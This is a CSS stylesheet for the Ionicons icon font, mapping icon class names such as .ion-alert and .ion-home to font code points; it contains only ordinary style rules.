.ion, .ionicons, .ion-alert:before, .ion-alert-circled:before, .ion-android-add:before, .ion-android-add-circle:before, .ion-android-alarm-clock:before, .ion-android-alert:before, .ion-android-apps:before, .ion-android-archive:before, .ion-android-arrow-back:before, .ion-android-arrow-down:before, .ion-android-arrow-dropdown:before, .ion-android-arrow-dropdown-circle:before, .ion-android-arrow-dropleft:before, .ion-android-arrow-dropleft-circle:before, .ion-android-arrow-dropright:before, .ion-android-arrow-dropright-circle:before, .ion-android-arrow-dropup:before, .ion-android-arrow-dropup-circle:before, .ion-android-arrow-forward:before, .ion-android-arrow-up:before, .ion-android-attach:before, .ion-android-bar:before, .ion-android-bicycle:before, .ion-android-boat:before, .ion-android-bookmark:before, .ion-android-bulb:before, .ion-android-bus:before, .ion-android-calendar:before, .ion-android-call:before, .ion-android-camera:before, .ion-android-cancel:before, .ion-android-car:before, .ion-android-cart:before, .ion-android-chat:before, .ion-android-checkbox:before, .ion-android-checkbox-blank:before, .ion-android-checkbox-outline:before, .ion-android-checkbox-outline-blank:before, .ion-android-checkmark-circle:before, .ion-android-clipboard:before, .ion-android-close:before, .ion-android-cloud:before, .ion-android-cloud-circle:before, .ion-android-cloud-done:before, .ion-android-cloud-outline:before, .ion-android-color-palette:before, .ion-android-compass:before, .ion-android-contact:before, .ion-android-contacts:before, .ion-android-contract:before, .ion-android-create:before, .ion-android-delete:before, .ion-android-desktop:before, .ion-android-document:before, .ion-android-done:before, .ion-android-done-all:before, .ion-android-download:before, .ion-android-drafts:before, .ion-android-exit:before, .ion-android-expand:before, .ion-android-favorite:before, .ion-android-favorite-outline:before, .ion-android-film:before, .ion-android-folder:before, .ion-android-folder-open:before, .ion-android-funnel:before, .ion-android-globe:before, .ion-android-hand:before, .ion-android-hangout:before, .ion-android-happy:before, .ion-android-home:before, .ion-android-image:before, .ion-android-laptop:before, .ion-android-list:before, .ion-android-locate:before, .ion-android-lock:before, .ion-android-mail:before, .ion-android-map:before, .ion-android-menu:before, .ion-android-microphone:before, .ion-android-microphone-off:before, .ion-android-more-horizontal:before, .ion-android-more-vertical:before, .ion-android-navigate:before, .ion-android-notifications:before, .ion-android-notifications-none:before, .ion-android-notifications-off:before, .ion-android-open:before, .ion-android-options:before, .ion-android-people:before, .ion-android-person:before, .ion-android-person-add:before, .ion-android-phone-landscape:before, .ion-android-phone-portrait:before, .ion-android-pin:before, .ion-android-plane:before, .ion-android-playstore:before, .ion-android-print:before, .ion-android-radio-button-off:before, .ion-android-radio-button-on:before, .ion-android-refresh:before, .ion-android-remove:before, .ion-android-remove-circle:before, .ion-android-restaurant:before, .ion-android-sad:before, .ion-android-search:before, .ion-android-send:before, .ion-android-settings:before, .ion-android-share:before, .ion-android-share-alt:before, .ion-android-star:before, .ion-android-star-half:before, .ion-android-star-outline:before, .ion-android-stopwatch:before, .ion-android-subway:before, .ion-android-sunny:before, .ion-android-sync:before, .ion-android-textsms:before, .ion-android-time:before, .ion-android-train:before, .ion-android-unlock:before, .ion-android-upload:before, .ion-android-volume-down:before, .ion-android-volume-mute:before, .ion-android-volume-off:before, .ion-android-volume-up:before, .ion-android-walk:before, .ion-android-warning:before, .ion-android-watch:before, .ion-android-wifi:before, .ion-aperture:before, .ion-archive:before, .ion-arrow-down-a:before, .ion-arrow-down-b:before, .ion-arrow-down-c:before, .ion-arrow-expand:before, .ion-arrow-graph-down-left:before, .ion-arrow-graph-down-right:before, .ion-arrow-graph-up-left:before, .ion-arrow-graph-up-right:before, .ion-arrow-left-a:before, .ion-arrow-left-b:before, .ion-arrow-left-c:before, .ion-arrow-move:before, .ion-arrow-resize:before, .ion-arrow-return-left:before, .ion-arrow-return-right:before, .ion-arrow-right-a:before, .ion-arrow-right-b:before, .ion-arrow-right-c:before, .ion-arrow-shrink:before, .ion-arrow-swap:before, .ion-arrow-up-a:before, .ion-arrow-up-b:before, .ion-arrow-up-c:before, .ion-asterisk:before, .ion-at:before, .ion-backspace:before, .ion-backspace-outline:before, .ion-bag:before, .ion-battery-charging:before, .ion-battery-empty:before, .ion-battery-full:before, .ion-battery-half:before, .ion-battery-low:before, .ion-beaker:before, .ion-beer:before, .ion-bluetooth:before, .ion-bonfire:before, .ion-bookmark:before, .ion-bowtie:before, .ion-briefcase:before, .ion-bug:before, .ion-calculator:before, .ion-calendar:before, .ion-camera:before, .ion-card:before, .ion-cash:before, .ion-chatbox:before, .ion-chatbox-working:before, .ion-chatboxes:before, .ion-chatbubble:before, .ion-chatbubble-working:before, .ion-chatbubbles:before, .ion-checkmark:before, .ion-checkmark-circled:before, .ion-checkmark-round:before, .ion-chevron-down:before, .ion-chevron-left:before, .ion-chevron-right:before, .ion-chevron-up:before, .ion-clipboard:before, .ion-clock:before, .ion-close:before, .ion-close-circled:before, .ion-close-round:before, .ion-closed-captioning:before, .ion-cloud:before, .ion-code:before, .ion-code-download:before, .ion-code-working:before, .ion-coffee:before, .ion-compass:before, .ion-compose:before, .ion-connection-bars:before, .ion-contrast:before, .ion-crop:before, .ion-cube:before, .ion-disc:before, .ion-document:before, .ion-document-text:before, .ion-drag:before, .ion-earth:before, .ion-easel:before, .ion-edit:before, .ion-egg:before, .ion-eject:before, .ion-email:before, .ion-email-unread:before, .ion-erlenmeyer-flask:before, .ion-erlenmeyer-flask-bubbles:before, .ion-eye:before, .ion-eye-disabled:before, .ion-female:before, .ion-filing:before, .ion-film-marker:before, .ion-fireball:before, .ion-flag:before, .ion-flame:before, .ion-flash:before, .ion-flash-off:before, .ion-folder:before, .ion-fork:before, .ion-fork-repo:before, .ion-forward:before, .ion-funnel:before, .ion-gear-a:before, .ion-gear-b:before, .ion-grid:before, .ion-hammer:before, .ion-happy:before, .ion-happy-outline:before, .ion-headphone:before, .ion-heart:before, .ion-heart-broken:before, .ion-help:before, .ion-help-buoy:before, .ion-help-circled:before, .ion-home:before, .ion-icecream:before, .ion-image:before, .ion-images:before, .ion-information:before, .ion-information-circled:before, .ion-ionic:before, .ion-ios-alarm:before, .ion-ios-alarm-outline:before, .ion-ios-albums:before, .ion-ios-albums-outline:before, .ion-ios-americanfootball:before, .ion-ios-americanfootball-outline:before, .ion-ios-analytics:before, .ion-ios-analytics-outline:before, .ion-ios-arrow-back:before, .ion-ios-arrow-down:before, .ion-ios-arrow-forward:before, .ion-ios-arrow-left:before, .ion-ios-arrow-right:before, .ion-ios-arrow-thin-down:before, .ion-ios-arrow-thin-left:before, .ion-ios-arrow-thin-right:before, .ion-ios-arrow-thin-up:before, .ion-ios-arrow-up:before, .ion-ios-at:before, .ion-ios-at-outline:before, .ion-ios-barcode:before, .ion-ios-barcode-outline:before, .ion-ios-baseball:before, .ion-ios-baseball-outline:before, .ion-ios-basketball:before, .ion-ios-basketball-outline:before, .ion-ios-bell:before, .ion-ios-bell-outline:before, .ion-ios-body:before, .ion-ios-body-outline:before, .ion-ios-bolt:before, .ion-ios-bolt-outline:before, .ion-ios-book:before, .ion-ios-book-outline:before, .ion-ios-bookmarks:before, .ion-ios-bookmarks-outline:before, .ion-ios-box:before, .ion-ios-box-outline:before, .ion-ios-briefcase:before, .ion-ios-briefcase-outline:before, .ion-ios-browsers:before, .ion-ios-browsers-outline:before, .ion-ios-calculator:before, .ion-ios-calculator-outline:before, .ion-ios-calendar:before, .ion-ios-calendar-outline:before, .ion-ios-camera:before, .ion-ios-camera-outline:before, .ion-ios-cart:before, .ion-ios-cart-outline:before, .ion-ios-chatboxes:before, .ion-ios-chatboxes-outline:before, .ion-ios-chatbubble:before, .ion-ios-chatbubble-outline:before, .ion-ios-checkmark:before, .ion-ios-checkmark-empty:before, .ion-ios-checkmark-outline:before, .ion-ios-circle-filled:before, .ion-ios-circle-outline:before, .ion-ios-clock:before, .ion-ios-clock-outline:before, .ion-ios-close:before, .ion-ios-close-empty:before, .ion-ios-close-outline:before, .ion-ios-cloud:before, .ion-ios-cloud-download:before, .ion-ios-cloud-download-outline:before, .ion-ios-cloud-outline:before, .ion-ios-cloud-upload:before, .ion-ios-cloud-upload-outline:before, .ion-ios-cloudy:before, .ion-ios-cloudy-night:before, .ion-ios-cloudy-night-outline:before, .ion-ios-cloudy-outline:before, .ion-ios-cog:before, .ion-ios-cog-outline:before, .ion-ios-color-filter:before, .ion-ios-color-filter-outline:before, .ion-ios-color-wand:before, .ion-ios-color-wand-outline:before, .ion-ios-compose:before, .ion-ios-compose-outline:before, .ion-ios-contact:before, .ion-ios-contact-outline:before, .ion-ios-copy:before, .ion-ios-copy-outline:before, .ion-ios-crop:before, .ion-ios-crop-strong:before, .ion-ios-download:before, .ion-ios-download-outline:before, .ion-ios-drag:before, .ion-ios-email:before, .ion-ios-email-outline:before, .ion-ios-eye:before, .ion-ios-eye-outline:before, .ion-ios-fastforward:before, .ion-ios-fastforward-outline:before, .ion-ios-filing:before, .ion-ios-filing-outline:before, .ion-ios-film:before, .ion-ios-film-outline:before, .ion-ios-flag:before, .ion-ios-flag-outline:before, .ion-ios-flame:before, .ion-ios-flame-outline:before, .ion-ios-flask:before, .ion-ios-flask-outline:before, .ion-ios-flower:before, .ion-ios-flower-outline:before, .ion-ios-folder:before, .ion-ios-folder-outline:before, .ion-ios-football:before, .ion-ios-football-outline:before, .ion-ios-game-controller-a:before, .ion-ios-game-controller-a-outline:before, .ion-ios-game-controller-b:before, .ion-ios-game-controller-b-outline:before, .ion-ios-gear:before, .ion-ios-gear-outline:before, .ion-ios-glasses:before, .ion-ios-glasses-outline:before, .ion-ios-grid-view:before, .ion-ios-grid-view-outline:before, .ion-ios-heart:before, .ion-ios-heart-outline:before, .ion-ios-help:before, .ion-ios-help-empty:before, .ion-ios-help-outline:before, .ion-ios-home:before, .ion-ios-home-outline:before, .ion-ios-infinite:before, .ion-ios-infinite-outline:before, .ion-ios-information:before, .ion-ios-information-empty:before, .ion-ios-information-outline:before, .ion-ios-ionic-outline:before, .ion-ios-keypad:before, .ion-ios-keypad-outline:before, .ion-ios-lightbulb:before, .ion-ios-lightbulb-outline:before, .ion-ios-list:before, .ion-ios-list-outline:before, .ion-ios-location:before, .ion-ios-location-outline:before, .ion-ios-locked:before, .ion-ios-locked-outline:before, .ion-ios-loop:before, .ion-ios-loop-strong:before, .ion-ios-medical:before, .ion-ios-medical-outline:before, .ion-ios-medkit:before, .ion-ios-medkit-outline:before, .ion-ios-mic:before, .ion-ios-mic-off:before, .ion-ios-mic-outline:before, .ion-ios-minus:before, .ion-ios-minus-empty:before, .ion-ios-minus-outline:before, .ion-ios-monitor:before, .ion-ios-monitor-outline:before, .ion-ios-moon:before, .ion-ios-moon-outline:before, .ion-ios-more:before, .ion-ios-more-outline:before, .ion-ios-musical-note:before, .ion-ios-musical-notes:before, .ion-ios-navigate:before, .ion-ios-navigate-outline:before, .ion-ios-nutrition:before, .ion-ios-nutrition-outline:before, .ion-ios-paper:before, .ion-ios-paper-outline:before, .ion-ios-paperplane:before, .ion-ios-paperplane-outline:before, .ion-ios-partlysunny:before, .ion-ios-partlysunny-outline:before, .ion-ios-pause:before, .ion-ios-pause-outline:before, .ion-ios-paw:before, .ion-ios-paw-outline:before, .ion-ios-people:before, .ion-ios-people-outline:before, .ion-ios-person:before, .ion-ios-person-outline:before, .ion-ios-personadd:before, .ion-ios-personadd-outline:before, .ion-ios-photos:before, .ion-ios-photos-outline:before, .ion-ios-pie:before, .ion-ios-pie-outline:before, .ion-ios-pint:before, .ion-ios-pint-outline:before, .ion-ios-play:before, .ion-ios-play-outline:before, .ion-ios-plus:before, .ion-ios-plus-empty:before, .ion-ios-plus-outline:before, .ion-ios-pricetag:before, .ion-ios-pricetag-outline:before, .ion-ios-pricetags:before, .ion-ios-pricetags-outline:before, .ion-ios-printer:before, .ion-ios-printer-outline:before, .ion-ios-pulse:before, .ion-ios-pulse-strong:before, .ion-ios-rainy:before, .ion-ios-rainy-outline:before, .ion-ios-recording:before, .ion-ios-recording-outline:before, .ion-ios-redo:before, .ion-ios-redo-outline:before, .ion-ios-refresh:before, .ion-ios-refresh-empty:before, .ion-ios-refresh-outline:before, .ion-ios-reload:before, .ion-ios-reverse-camera:before, .ion-ios-reverse-camera-outline:before, .ion-ios-rewind:before, .ion-ios-rewind-outline:before, .ion-ios-rose:before, .ion-ios-rose-outline:before, .ion-ios-search:before, .ion-ios-search-strong:before, .ion-ios-settings:before, .ion-ios-settings-strong:before, .ion-ios-shuffle:before, .ion-ios-shuffle-strong:before, .ion-ios-skipbackward:before, .ion-ios-skipbackward-outline:before, .ion-ios-skipforward:before, .ion-ios-skipforward-outline:before, .ion-ios-snowy:before, .ion-ios-speedometer:before, .ion-ios-speedometer-outline:before, .ion-ios-star:before, .ion-ios-star-half:before, .ion-ios-star-outline:before, .ion-ios-stopwatch:before, .ion-ios-stopwatch-outline:before, .ion-ios-sunny:before, .ion-ios-sunny-outline:before, .ion-ios-telephone:before, .ion-ios-telephone-outline:before, .ion-ios-tennisball:before, .ion-ios-tennisball-outline:before, .ion-ios-thunderstorm:before, .ion-ios-thunderstorm-outline:before, .ion-ios-time:before, .ion-ios-time-outline:before, .ion-ios-timer:before, .ion-ios-timer-outline:before, .ion-ios-toggle:before, .ion-ios-toggle-outline:before, .ion-ios-trash:before, .ion-ios-trash-outline:before, .ion-ios-undo:before, .ion-ios-undo-outline:before, .ion-ios-unlocked:before, .ion-ios-unlocked-outline:before, .ion-ios-upload:before, .ion-ios-upload-outline:before, .ion-ios-videocam:before, .ion-ios-videocam-outline:before, .ion-ios-volume-high:before, .ion-ios-volume-low:before, .ion-ios-wineglass:before, .ion-ios-wineglass-outline:before, .ion-ios-world:before, .ion-ios-world-outline:before, .ion-ipad:before, .ion-iphone:before, .ion-ipod:before, .ion-jet:before, .ion-key:before, .ion-knife:before, .ion-laptop:before, .ion-leaf:before, .ion-levels:before, .ion-lightbulb:before, .ion-link:before, .ion-load-a:before, .ion-load-b:before, .ion-load-c:before, .ion-load-d:before, .ion-location:before, .ion-lock-combination:before, .ion-locked:before, .ion-log-in:before, .ion-log-out:before, .ion-loop:before, .ion-magnet:before, .ion-male:before, .ion-man:before, .ion-map:before, .ion-medkit:before, .ion-merge:before, .ion-mic-a:before, .ion-mic-b:before, .ion-mic-c:before, .ion-minus:before, .ion-minus-circled:before, .ion-minus-round:before, .ion-model-s:before, .ion-monitor:before, .ion-more:before, .ion-mouse:before, .ion-music-note:before, .ion-navicon:before, .ion-navicon-round:before, .ion-navigate:before, .ion-network:before, .ion-no-smoking:before, .ion-nuclear:before, .ion-outlet:before, .ion-paintbrush:before, .ion-paintbucket:before, .ion-paper-airplane:before, .ion-paperclip:before, .ion-pause:before, .ion-person:before, .ion-person-add:before, .ion-person-stalker:before, .ion-pie-graph:before, .ion-pin:before, .ion-pinpoint:before, .ion-pizza:before, .ion-plane:before, .ion-planet:before, .ion-play:before, .ion-playstation:before, .ion-plus:before, .ion-plus-circled:before, .ion-plus-round:before, .ion-podium:before, .ion-pound:before, .ion-power:before, .ion-pricetag:before, .ion-pricetags:before, .ion-printer:before, .ion-pull-request:before, .ion-qr-scanner:before, .ion-quote:before, .ion-radio-waves:before, .ion-record:before, .ion-refresh:before, .ion-reply:before, .ion-reply-all:before, .ion-ribbon-a:before, .ion-ribbon-b:before, .ion-sad:before, .ion-sad-outline:before, .ion-scissors:before, .ion-search:before, .ion-settings:before, .ion-share:before, .ion-shuffle:before, .ion-skip-backward:before, .ion-skip-forward:before, .ion-social-android:before, .ion-social-android-outline:before, .ion-social-angular:before, .ion-social-angular-outline:before, .ion-social-apple:before, .ion-social-apple-outline:before, .ion-social-bitcoin:before, .ion-social-bitcoin-outline:before, .ion-social-buffer:before, .ion-social-buffer-outline:before, .ion-social-chrome:before, .ion-social-chrome-outline:before, .ion-social-codepen:before, .ion-social-codepen-outline:before, .ion-social-css3:before, .ion-social-css3-outline:before, .ion-social-designernews:before, .ion-social-designernews-outline:before, .ion-social-dribbble:before, .ion-social-dribbble-outline:before, .ion-social-dropbox:before, .ion-social-dropbox-outline:before, .ion-social-euro:before, .ion-social-euro-outline:before, .ion-social-facebook:before, .ion-social-facebook-outline:before, .ion-social-foursquare:before, .ion-social-foursquare-outline:before, .ion-social-freebsd-devil:before, .ion-social-github:before, .ion-social-github-outline:before, .ion-social-google:before, .ion-social-google-outline:before, .ion-social-googleplus:before, .ion-social-googleplus-outline:before, .ion-social-hackernews:before, .ion-social-hackernews-outline:before, .ion-social-html5:before, .ion-social-html5-outline:before, .ion-social-instagram:before, .ion-social-instagram-outline:before, .ion-social-javascript:before, .ion-social-javascript-outline:before, .ion-social-linkedin:before, .ion-social-linkedin-outline:before, .ion-social-markdown:before, .ion-social-nodejs:before, .ion-social-octocat:before, .ion-social-pinterest:before, .ion-social-pinterest-outline:before, .ion-social-python:before, .ion-social-reddit:before, .ion-social-reddit-outline:before, .ion-social-rss:before, .ion-social-rss-outline:before, .ion-social-sass:before, .ion-social-skype:before, .ion-social-skype-outline:before, .ion-social-snapchat:before, .ion-social-snapchat-outline:before, .ion-social-tumblr:before, .ion-social-tumblr-outline:before, .ion-social-tux:before, .ion-social-twitch:before, .ion-social-twitch-outline:before, .ion-social-twitter:before, .ion-social-twitter-outline:before, .ion-social-usd:before, .ion-social-usd-outline:before, .ion-social-vimeo:before, .ion-social-vimeo-outline:before, .ion-social-whatsapp:before, .ion-social-whatsapp-outline:before, .ion-social-windows:before, .ion-social-windows-outline:before, .ion-social-wordpress:before, .ion-social-wordpress-outline:before, .ion-social-yahoo:before, .ion-social-yahoo-outline:before, .ion-social-yen:before, .ion-social-yen-outline:before, .ion-social-youtube:before, .ion-social-youtube-outline:before, .ion-soup-can:before, .ion-soup-can-outline:before, .ion-speakerphone:before, .ion-speedometer:before, .ion-spoon:before, .ion-star:before, .ion-stats-bars:before, .ion-steam:before, .ion-stop:before, .ion-thermometer:before, .ion-thumbsdown:before, .ion-thumbsup:before, .ion-toggle:before, .ion-toggle-filled:before, .ion-transgender:before, .ion-trash-a:before, .ion-trash-b:before, .ion-trophy:before, .ion-tshirt:before, .ion-tshirt-outline:before, .ion-umbrella:before, .ion-university:before, .ion-unlocked:before, .ion-upload:before, .ion-usb:before, .ion-videocamera:before, .ion-volume-high:before, .ion-volume-low:before, .ion-volume-medium:before, .ion-volume-mute:before, .ion-wand:before, .ion-waterdrop:before, .ion-wifi:before, .ion-wineglass:before, .ion-woman:before, .ion-wrench:before, .ion-xbox:before { display: inline-block; font-family: "Ionicons"; speak: none; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; text-rendering: auto; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; }

.ion-alert:before { content: "\f101"; }

.ion-alert-circled:before { content: "\f100"; }

.ion-android-add:before { content: "\f2c7"; }

.ion-android-add-circle:before { content: "\f359"; }

.ion-android-alarm-clock:before { content: "\f35a"; }

.ion-android-alert:before { content: "\f35b"; }

.ion-android-apps:before { content: "\f35c"; }

.ion-android-archive:before { content: "\f2c9"; }

.ion-android-arrow-back:before { content: "\f2ca"; }

.ion-android-arrow-down:before { content: "\f35d"; }

.ion-android-arrow-dropdown:before { content: "\f35f"; }

.ion-android-arrow-dropdown-circle:before { content: "\f35e"; }

.ion-android-arrow-dropleft:before { content: "\f361"; }

.ion-android-arrow-dropleft-circle:before { content: "\f360"; }

.ion-android-arrow-dropright:before { content: "\f363"; }

.ion-android-arrow-dropright-circle:before { content: "\f362"; }

.ion-android-arrow-dropup:before { content: "\f365"; }

.ion-android-arrow-dropup-circle:before { content: "\f364"; }

.ion-android-arrow-forward:before { content: "\f30f"; }

.ion-android-arrow-up:before { content: "\f366"; }

.ion-android-attach:before { content: "\f367"; }

.ion-android-bar:before { content: "\f368"; }

.ion-android-bicycle:before { content: "\f369"; }

.ion-android-boat:before { content: "\f36a"; }

.ion-android-bookmark:before { content: "\f36b"; }

.ion-android-bulb:before { content: "\f36c"; }

.ion-android-bus:before { content: "\f36d"; }

.ion-android-calendar:before { content: "\f2d1"; }

.ion-android-call:before { content: "\f2d2"; }

.ion-android-camera:before { content: "\f2d3"; }

.ion-android-cancel:before { content: "\f36e"; }

.ion-android-car:before { content: "\f36f"; }

.ion-android-cart:before { content: "\f370"; }

.ion-android-chat:before { content: "\f2d4"; }

.ion-android-checkbox:before { content: "\f374"; }

.ion-android-checkbox-blank:before { content: "\f371"; }

.ion-android-checkbox-outline:before { content: "\f373"; }

.ion-android-checkbox-outline-blank:before { content: "\f372"; }

.ion-android-checkmark-circle:before { content: "\f375"; }

.ion-android-clipboard:before { content: "\f376"; }

.ion-android-close:before { content: "\f2d7"; }

.ion-android-cloud:before { content: "\f37a"; }

.ion-android-cloud-circle:before { content: "\f377"; }

.ion-android-cloud-done:before { content: "\f378"; }

.ion-android-cloud-outline:before { content: "\f379"; }

.ion-android-color-palette:before { content: "\f37b"; }

.ion-android-compass:before { content: "\f37c"; }

.ion-android-contact:before { content: "\f2d8"; }

.ion-android-contacts:before { content: "\f2d9"; }

.ion-android-contract:before { content: "\f37d"; }

.ion-android-create:before { content: "\f37e"; }

.ion-android-delete:before { content: "\f37f"; }

.ion-android-desktop:before { content: "\f380"; }

.ion-android-document:before { content: "\f381"; }

.ion-android-done:before { content: "\f383"; }

.ion-android-done-all:before { content: "\f382"; }

.ion-android-download:before { content: "\f2dd"; }

.ion-android-drafts:before { content: "\f384"; }

.ion-android-exit:before { content: "\f385"; }

.ion-android-expand:before { content: "\f386"; }

.ion-android-favorite:before { content: "\f388"; }

.ion-android-favorite-outline:before { content: "\f387"; }

.ion-android-film:before { content: "\f389"; }

.ion-android-folder:before { content: "\f2e0"; }

.ion-android-folder-open:before { content: "\f38a"; }

.ion-android-funnel:before { content: "\f38b"; }

.ion-android-globe:before { content: "\f38c"; }

.ion-android-hand:before { content: "\f2e3"; }

.ion-android-hangout:before { content: "\f38d"; }

.ion-android-happy:before { content: "\f38e"; }

.ion-android-home:before { content: "\f38f"; }

.ion-android-image:before { content: "\f2e4"; }

.ion-android-laptop:before { content: "\f390"; }

.ion-android-list:before { content: "\f391"; }

.ion-android-locate:before { content: "\f2e9"; }

.ion-android-lock:before { content: "\f392"; }

.ion-android-mail:before { content: "\f2eb"; }

.ion-android-map:before { content: "\f393"; }

.ion-android-menu:before { content: "\f394"; }

.ion-android-microphone:before { content: "\f2ec"; }

.ion-android-microphone-off:before { content: "\f395"; }

.ion-android-more-horizontal:before { content: "\f396"; }

.ion-android-more-vertical:before { content: "\f397"; }

.ion-android-navigate:before { content: "\f398"; }

.ion-android-notifications:before { content: "\f39b"; }

.ion-android-notifications-none:before { content: "\f399"; }

.ion-android-notifications-off:before { content: "\f39a"; }

.ion-android-open:before { content: "\f39c"; }

.ion-android-options:before { content: "\f39d"; }

.ion-android-people:before { content: "\f39e"; }

.ion-android-person:before { content: "\f3a0"; }

.ion-android-person-add:before { content: "\f39f"; }

.ion-android-phone-landscape:before { content: "\f3a1"; }

.ion-android-phone-portrait:before { content: "\f3a2"; }

.ion-android-pin:before { content: "\f3a3"; }

.ion-android-plane:before { content: "\f3a4"; }

.ion-android-playstore:before { content: "\f2f0"; }

.ion-android-print:before { content: "\f3a5"; }

.ion-android-radio-button-off:before { content: "\f3a6"; }

.ion-android-radio-button-on:before { content: "\f3a7"; }

.ion-android-refresh:before { content: "\f3a8"; }

.ion-android-remove:before { content: "\f2f4"; }

.ion-android-remove-circle:before { content: "\f3a9"; }

.ion-android-restaurant:before { content: "\f3aa"; }

.ion-android-sad:before { content: "\f3ab"; }

.ion-android-search:before { content: "\f2f5"; }

.ion-android-send:before { content: "\f2f6"; }

.ion-android-settings:before { content: "\f2f7"; }

.ion-android-share:before { content: "\f2f8"; }

.ion-android-share-alt:before { content: "\f3ac"; }

.ion-android-star:before { content: "\f2fc"; }

.ion-android-star-half:before { content: "\f3ad"; }

.ion-android-star-outline:before { content: "\f3ae"; }

.ion-android-stopwatch:before { content: "\f2fd"; }

.ion-android-subway:before { content: "\f3af"; }

.ion-android-sunny:before { content: "\f3b0"; }

.ion-android-sync:before { content: "\f3b1"; }

.ion-android-textsms:before { content: "\f3b2"; }

.ion-android-time:before { content: "\f3b3"; }

.ion-android-train:before { content: "\f3b4"; }

.ion-android-unlock:before { content: "\f3b5"; }

.ion-android-upload:before { content: "\f3b6"; }

.ion-android-volume-down:before { content: "\f3b7"; }

.ion-android-volume-mute:before { content: "\f3b8"; }

.ion-android-volume-off:before { content: "\f3b9"; }

.ion-android-volume-up:before { content: "\f3ba"; }

.ion-android-walk:before { content: "\f3bb"; }

.ion-android-warning:before { content: "\f3bc"; }

.ion-android-watch:before { content: "\f3bd"; }

.ion-android-wifi:before { content: "\f305"; }

.ion-aperture:before { content: "\f313"; }

.ion-archive:before { content: "\f102"; }

.ion-arrow-down-a:before { content: "\f103"; }

.ion-arrow-down-b:before { content: "\f104"; }

.ion-arrow-down-c:before { content: "\f105"; }

.ion-arrow-expand:before { content: "\f25e"; }

.ion-arrow-graph-down-left:before { content: "\f25f"; }

.ion-arrow-graph-down-right:before { content: "\f260"; }

.ion-arrow-graph-up-left:before { content: "\f261"; }

.ion-arrow-graph-up-right:before { content: "\f262"; }

.ion-arrow-left-a:before { content: "\f106"; }

.ion-arrow-left-b:before { content: "\f107"; }

.ion-arrow-left-c:before { content: "\f108"; }

.ion-arrow-move:before { content: "\f263"; }

.ion-arrow-resize:before { content: "\f264"; }

.ion-arrow-return-left:before { content: "\f265"; }

.ion-arrow-return-right:before { content: "\f266"; }

.ion-arrow-right-a:before { content: "\f109"; }

.ion-arrow-right-b:before { content: "\f10a"; }

.ion-arrow-right-c:before { content: "\f10b"; }

.ion-arrow-shrink:before { content: "\f267"; }

.ion-arrow-swap:before { content: "\f268"; }

.ion-arrow-up-a:before { content: "\f10c"; }

.ion-arrow-up-b:before { content: "\f10d"; }

.ion-arrow-up-c:before { content: "\f10e"; }

.ion-asterisk:before { content: "\f314"; }

.ion-at:before { content: "\f10f"; }

.ion-backspace:before { content: "\f3bf"; }

.ion-backspace-outline:before { content: "\f3be"; }

.ion-bag:before { content: "\f110"; }

.ion-battery-charging:before { content: "\f111"; }

.ion-battery-empty:before { content: "\f112"; }

.ion-battery-full:before { content: "\f113"; }

.ion-battery-half:before { content: "\f114"; }

.ion-battery-low:before { content: "\f115"; }

.ion-beaker:before { content: "\f269"; }

.ion-beer:before { content: "\f26a"; }

.ion-bluetooth:before { content: "\f116"; }

.ion-bonfire:before { content: "\f315"; }

.ion-bookmark:before { content: "\f26b"; }

.ion-bowtie:before { content: "\f3c0"; }

.ion-briefcase:before { content: "\f26c"; }

.ion-bug:before { content: "\f2be"; }

.ion-calculator:before { content: "\f26d"; }

.ion-calendar:before { content: "\f117"; }

.ion-camera:before { content: "\f118"; }

.ion-card:before { content: "\f119"; }

.ion-cash:before { content: "\f316"; }

.ion-chatbox:before { content: "\f11b"; }

.ion-chatbox-working:before { content: "\f11a"; }

.ion-chatboxes:before { content: "\f11c"; }

.ion-chatbubble:before { content: "\f11e"; }

.ion-chatbubble-working:before { content: "\f11d"; }

.ion-chatbubbles:before { content: "\f11f"; }

.ion-checkmark:before { content: "\f122"; }

.ion-checkmark-circled:before { content: "\f120"; }

.ion-checkmark-round:before { content: "\f121"; }

.ion-chevron-down:before { content: "\f123"; }

.ion-chevron-left:before { content: "\f124"; }

.ion-chevron-right:before { content: "\f125"; }

.ion-chevron-up:before { content: "\f126"; }

.ion-clipboard:before { content: "\f127"; }

.ion-clock:before { content: "\f26e"; }

.ion-close:before { content: "\f12a"; }

.ion-close-circled:before { content: "\f128"; }

.ion-close-round:before { content: "\f129"; }

.ion-closed-captioning:before { content: "\f317"; }

.ion-cloud:before { content: "\f12b"; }

.ion-code:before { content: "\f271"; }

.ion-code-download:before { content: "\f26f"; }

.ion-code-working:before { content: "\f270"; }

.ion-coffee:before { content: "\f272"; }

.ion-compass:before { content: "\f273"; }

.ion-compose:before { content: "\f12c"; }

.ion-connection-bars:before { content: "\f274"; }

.ion-contrast:before { content: "\f275"; }

.ion-crop:before { content: "\f3c1"; }

.ion-cube:before { content: "\f318"; }

.ion-disc:before { content: "\f12d"; }

.ion-document:before { content: "\f12f"; }

.ion-document-text:before { content: "\f12e"; }

.ion-drag:before { content: "\f130"; }

.ion-earth:before { content: "\f276"; }

.ion-easel:before { content: "\f3c2"; }

.ion-edit:before { content: "\f2bf"; }

.ion-egg:before { content: "\f277"; }

.ion-eject:before { content: "\f131"; }

.ion-email:before { content: "\f132"; }

.ion-email-unread:before { content: "\f3c3"; }

.ion-erlenmeyer-flask:before { content: "\f3c5"; }

.ion-erlenmeyer-flask-bubbles:before { content: "\f3c4"; }

.ion-eye:before { content: "\f133"; }

.ion-eye-disabled:before { content: "\f306"; }

.ion-female:before { content: "\f278"; }

.ion-filing:before { content: "\f134"; }

.ion-film-marker:before { content: "\f135"; }

.ion-fireball:before { content: "\f319"; }

.ion-flag:before { content: "\f279"; }

.ion-flame:before { content: "\f31a"; }

.ion-flash:before { content: "\f137"; }

.ion-flash-off:before { content: "\f136"; }

.ion-folder:before { content: "\f139"; }

.ion-fork:before { content: "\f27a"; }

.ion-fork-repo:before { content: "\f2c0"; }

.ion-forward:before { content: "\f13a"; }

.ion-funnel:before { content: "\f31b"; }

.ion-gear-a:before { content: "\f13d"; }

.ion-gear-b:before { content: "\f13e"; }

.ion-grid:before { content: "\f13f"; }

.ion-hammer:before { content: "\f27b"; }

.ion-happy:before { content: "\f31c"; }

.ion-happy-outline:before { content: "\f3c6"; }

.ion-headphone:before { content: "\f140"; }

.ion-heart:before { content: "\f141"; }

.ion-heart-broken:before { content: "\f31d"; }

.ion-help:before { content: "\f143"; }

.ion-help-buoy:before { content: "\f27c"; }

.ion-help-circled:before { content: "\f142"; }

.ion-home:before { content: "\f144"; }

